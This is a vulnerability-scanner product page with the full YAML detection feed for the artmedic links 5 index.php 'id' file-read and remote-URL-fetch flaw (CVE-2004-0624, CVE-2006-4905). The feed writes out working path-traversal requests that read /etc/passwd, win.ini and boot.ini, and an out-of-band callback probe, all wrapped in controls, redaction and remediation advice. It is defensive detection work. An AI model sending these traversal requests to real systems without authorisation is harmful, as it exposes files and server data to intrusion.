artmedic links — 1 vulnerability check

noctis ships 1 vulnerability check for artmedic links, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CVECVE-2004-0624, CVE-2006-4905
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script, wait_oob · highest QoD 97
Feedtests/vulnerabilities/artmedic-links/artmedic-links-index-file-read.yaml

Tests artmedic links 5 (artmedic_links5) for the unauthenticated flaw in index.php, which passes the id parameter to PHP readfile() without any check. In each candidate folder (/artmedic_links5, /links, the web root) the feed requests index.php?id=index.php and looks for the raw PHP source of the script itself (its require("linksscript/include.php"); line), which identifies the product and shows that the parameter reads files; the same page requested without id must not show that source, so a folder served as static files (PHP not running) is not reported. In that folder it then reads /etc/passwd through a ../ sequence (then windows/win.ini and boot.ini on Windows); a control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. When out-of-band callbacks are enabled, the feed also sets id to a per-scan callback URL: a callback shows that the server fetches any URL an attacker supplies. Only world-readable system files are read, and the account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php?id=index.php
  2. Checks src_r.body for require\(\s*["']linksscript/include\.php["']\s*\)\s*;
  3. HTTP(S) request GET {{dir}}/index.php
  4. Checks plain_r.body for require\(\s*["']linksscript/include\.php["']\s*\)\s*;
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php?id=../../../../../../../../../../etc/passwd
  7. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/index.php?id=../../../../../../../../../../windows/win.ini
  10. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  11. HTTP(S) request GET {{dir}}/index.php?id=../../../../../../../../../../boot.ini
  12. Checks bootini_r.body for (?i)\[boot loader\]
  13. Parses / computes the next value with a Rhai script
  14. HTTP(S) request GET {{dir}}/index.php?id={{ctrl_path}}
  15. … and 9 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/artmedic-links/artmedic-links-index-file-read.yaml
# artmedic links 5 index.php "id" file read / remote URL fetch
# CVE-2004-0624 (n30n, Bugtraq 2004-06-25) and CVE-2006-4905 (same flaw,
# re-reported 2006: "a URL in the id parameter, which is processed by the
# readfile function").
#
# artmedic links 5.0 (artmedic_links5, a small PHP link-list script from
# artmedic-phpscripts.de, unmaintained; the source is no longer published)
# hands the "id" parameter of index.php to readfile() without any check, so
# index.php?id=<file> prints any file the web server user can read — PHP
# sources included, as raw text — and index.php?id=<url> makes the server
# fetch that URL (allow_url_fopen, on by default). The vendor never shipped a
# fix.
#
# Detection (benign, read-only), per folder (/artmedic_links5 — the layout of
# the advisory —, /links, the web root):
#   1. GET index.php?id=index.php: the reply must be HTTP 200 and carry the RAW
#      PHP source of the script itself (its `require("linksscript/include.php");`
#      line), which PHP never prints when it runs the file. This both
#      identifies artmedic links and proves the read (QoD 75). Control:
#      index.php WITHOUT id must not show that source (folder served as
#      static files / PHP not running / tarpit).
#   2. In that folder only: id=<10x../>etc/passwd, then windows/win.ini, then
#      boot.ini; the file content must come back while a control request for
#      an absent random file (in a missing directory, same file name at the
#      end) comes back without any of these files and with the same status
#      (fail-closed) — QoD 75, the main finding.
#   3. OOB (only when OOB is enabled): id=<per-scan callback URL>; the
#      callback proves the server fetches attacker-supplied URLs (QoD 97).
#
# Improvements over the source NASL:
#   - The NASL stops at the self-read of index.php; the feed also reads a
#     system file (with a control against blanket responders and honeypots)
#     and confirms the remote-URL fetch both CVEs describe with an OOB
#     callback.
#   - Linux and Windows system files are tried without relying on OS detection;
#     the uid-0 line is redacted before it reaches the finding.
#   - The NASL's dir list is "/" plus the CGI dirs; the feed tries the common
#     install folders and keeps the product gate (raw source line).
#
# CVSS: CVE-2004-0624 and CVE-2006-4905 are both v2 7.5
# (AV:N/AC:L/Au:N/C:P/I:P/A:P); NVD has no v3 score for either.
#
# Ported from OpenVAS/Greenbone NVT pre2008/artmedic_links5_file_inclusion.nasl
# (OID 1.3.6.1.4.1.25623.1.0.12289, GPL-2.0-only).
uid: 89162685-de36-41a3-abd3-b1d67056b4df
name: "artmedic links 5 index.php id Arbitrary File Read and Remote URL Fetch"
description: |
  Tests artmedic links 5 (artmedic_links5) for the unauthenticated flaw in
  index.php, which passes the id parameter to PHP readfile() without any
  check. In each candidate folder (/artmedic_links5, /links, the web root)
  the feed requests index.php?id=index.php and looks for the raw PHP source
  of the script itself (its require("linksscript/include.php"); line), which
  identifies the product and shows that the parameter reads files; the same
  page requested without id must not show that source, so a folder served as
  static files (PHP not running) is not reported. In that
  folder it then reads /etc/passwd through a ../ sequence (then
  windows/win.ini and boot.ini on Windows); a control request for an absent
  random file through the same parameter must not return any of these files,
  so a server that serves the same content on every request is not reported.
  When out-of-band callbacks are enabled, the feed also sets id to a per-scan
  callback URL: a callback shows that the server fetches any URL an attacker
  supplies. Only world-readable system files are read, and the account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence.
cves: [CVE-2004-0624, CVE-2006-4905]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [artmedic, artmedic-links, php, file-read, path-traversal, source-disclosure, rfi, oob, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-0624"
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-4905"
  - "https://seclists.org/bugtraq/2004/Jun/423"
  # OpenVAS/Greenbone NASL pre2008/artmedic_links5_file_inclusion.nasl (GPL-2.0-only)

steps:
  # ── State kept across the install-folder loop ────────────────────────────
  - id: init-src-dir
    action: set_var
    var_name: src_dir
    var_value: ""

  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""

  - id: init-hit-proof
    action: set_var
    var_name: hit_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step (up to wait_oob) runs once per folder.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-here
    action: set_var
    var_name: here
    var_value: false
    loop:
      var: dir
      over: ["/artmedic_links5", "/links", ""]

  - id: init-src-r
    action: set_var
    var_name: src_r
    var_value: {status: 0, body: ""}

  - id: init-plain-r
    action: set_var
    var_name: plain_r
    var_value: {status: 0, body: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Self-read: index.php?id=index.php returns the script's raw source ────
  # Once a folder hit, later folders are not probed.
  - id: read-source
    action: http_request
    method: GET
    path: "{{dir}}/index.php?id=index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'src_dir == ""'
    store_as: src_r

  - id: source-content
    action: match
    source: src_r.body
    pattern: "require\\(\\s*[\"']linksscript/include\\.php[\"']\\s*\\)\\s*;"
    condition: 'src_dir == "" && src_r.status == 200'
    on_match:
      set_vars:
        here: true

  # Control: index.php WITHOUT id must run the script (no raw source). A
  # server that hands out the source on every request (PHP not mapped, the
  # folder served as static files, a tarpit) is not the readfile() flaw.
  - id: plain-index
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "here"
    store_as: plain_r

  - id: plain-index-source
    action: match
    source: plain_r.body
    pattern: "require\\(\\s*[\"']linksscript/include\\.php[\"']\\s*\\)\\s*;"
    condition: "here && plain_r.status != 0"
    on_match:
      set_vars:
        here: false

  - id: plain-index-failed
    action: set_var
    var_name: here
    var_value: false
    condition: "here && plain_r.status == 0"

  - id: source-dir
    action: script
    condition: "here"
    code: 'if dir == "" { "/" } else { dir }'
    store_as: src_dir

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?id=../../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "here"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "here"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    condition: "here"
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # page answered and the Linux read gave nothing ──────────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?id=../../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'here && lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'here && lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?id=../../../../../../../../../../boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'here && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'here && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit, so a honeypot that keys a fake file on that name or
  # path suffix answers it too.
  - id: control-path
    action: script
    condition: 'here && (lin_proof != "" || win_file != "")'
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?id={{ctrl_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'here && (lin_proof != "" || win_file != "")'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'here && (lin_proof != "" || win_file != "")'
    on_match:
      set_vars:
        ctrl_hit: true

  # A system file that the absent-file control returned too means a blanket
  # responder or honeypot: drop this folder's source-read verdict as well.
  - id: blanket-reset
    action: script
    condition: "here && ctrl_hit"
    code: '""'
    store_as: src_dir

  # Verdict, kept in the pre-loop vars (control answered, same status, clean).
  - id: verdict-file
    action: script
    condition: 'here && (lin_proof != "" || win_file != "") && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false'
    code: |
      if lin_proof != "" { "etc/passwd" } else { win_file }
    store_as: hit_file

  - id: verdict-proof
    action: script
    condition: 'here && hit_file != ""'
    code: "lin_proof"
    store_as: hit_proof

  # ── Remote URL fetch (OOB) — the folder where the source read worked ─────
  - id: url-fetch-oob
    action: http_request
    method: GET
    path: "{{dir}}/index.php?id={{oob_url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && here && ctrl_hit == false && oob_sent == false"
    store_as: url_r

  - id: url-fetch-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && here && ctrl_hit == false"

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    condition: "oob_enabled && oob_sent"
    store_as: oob_result
    on_success:
      finding:
        title: "artmedic links 5 index.php id Arbitrary File Read and Remote URL Fetch (CVE-2004-0624, CVE-2006-4905)"
        description: "An unauthenticated request to index.php with id set to a per-scan callback URL made the server fetch that URL, after index.php?id=index.php returned the script's raw PHP source: the id parameter is passed to readfile() unchecked, so it reads any local file the web server user can read and fetches any URL an attacker supplies."
        remediation: "artmedic links 5 is unmaintained and has no fixed release: remove it, or change index.php so that id only selects the script's own entries (never a path or URL), and disable PHP allow_url_fopen."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{src_dir}}: index.php?id=<per-scan OOB URL> made the target fetch the OOB URL (HTTP callback received); index.php?id=index.php returned the raw PHP source"
      stop: true

  # ── File read findings ───────────────────────────────────────────────────
  - id: report-passwd
    action: match
    source: hit_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: 'hit_file == "etc/passwd"'
    on_match:
      finding:
        title: "artmedic links 5 index.php id Arbitrary File Read and Remote URL Fetch (CVE-2004-0624, CVE-2006-4905)"
        description: "An unauthenticated request to index.php with id set to a ../ sequence ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not (index.php?id=index.php also returned the script's raw PHP source). The id parameter is passed to readfile() unchecked: it reads any file the web server user can read, such as configuration files, and fetches remote URLs."
        remediation: "artmedic links 5 is unmaintained and has no fixed release: remove it, or change index.php so that id only selects the script's own entries (never a path or URL), and disable PHP allow_url_fopen."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{src_dir}}: index.php?id=../../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{hit_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: hit_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    on_match:
      finding:
        title: "artmedic links 5 index.php id Arbitrary File Read and Remote URL Fetch (CVE-2004-0624, CVE-2006-4905)"
        description: "An unauthenticated request to index.php with id set to a ../ sequence ending in a Windows system file returned that file's content, while the same request for an absent file did not (index.php?id=index.php also returned the script's raw PHP source). The id parameter is passed to readfile() unchecked: it reads any file the web server user can read, such as configuration files, and fetches remote URLs."
        remediation: "artmedic links 5 is unmaintained and has no fixed release: remove it, or change index.php so that id only selects the script's own entries (never a path or URL), and disable PHP allow_url_fopen."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{src_dir}}: index.php?id=../../../../../../../../../../{{hit_file}} returned the content of {{hit_file}}; control for an absent file returned no file content"
      stop: true

  # ── Source disclosure only (system files unreadable, e.g. open_basedir) ──
  - id: report-source
    action: match
    source: src_dir
    pattern: "^/"
    on_match:
      finding:
        title: "artmedic links 5 index.php id Arbitrary File Read and Remote URL Fetch (CVE-2004-0624, CVE-2006-4905)"
        description: "An unauthenticated request to index.php with id=index.php returned the script's own raw PHP source (its require(\"linksscript/include.php\"); line), which PHP never prints when it runs the file: the id parameter is passed to readfile() unchecked. No system file could be read back here (open_basedir or file permissions may block them), but every file in reach, such as the site configuration, can be read, and remote URLs are fetched."
        remediation: "artmedic links 5 is unmaintained and has no fixed release: remove it, or change index.php so that id only selects the script's own entries (never a path or URL), and disable PHP allow_url_fopen."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{src_dir}}: index.php?id=index.php returned the raw PHP source of index.php (require(\"linksscript/include.php\"); line)"
      stop: true

View these feeds on GitHub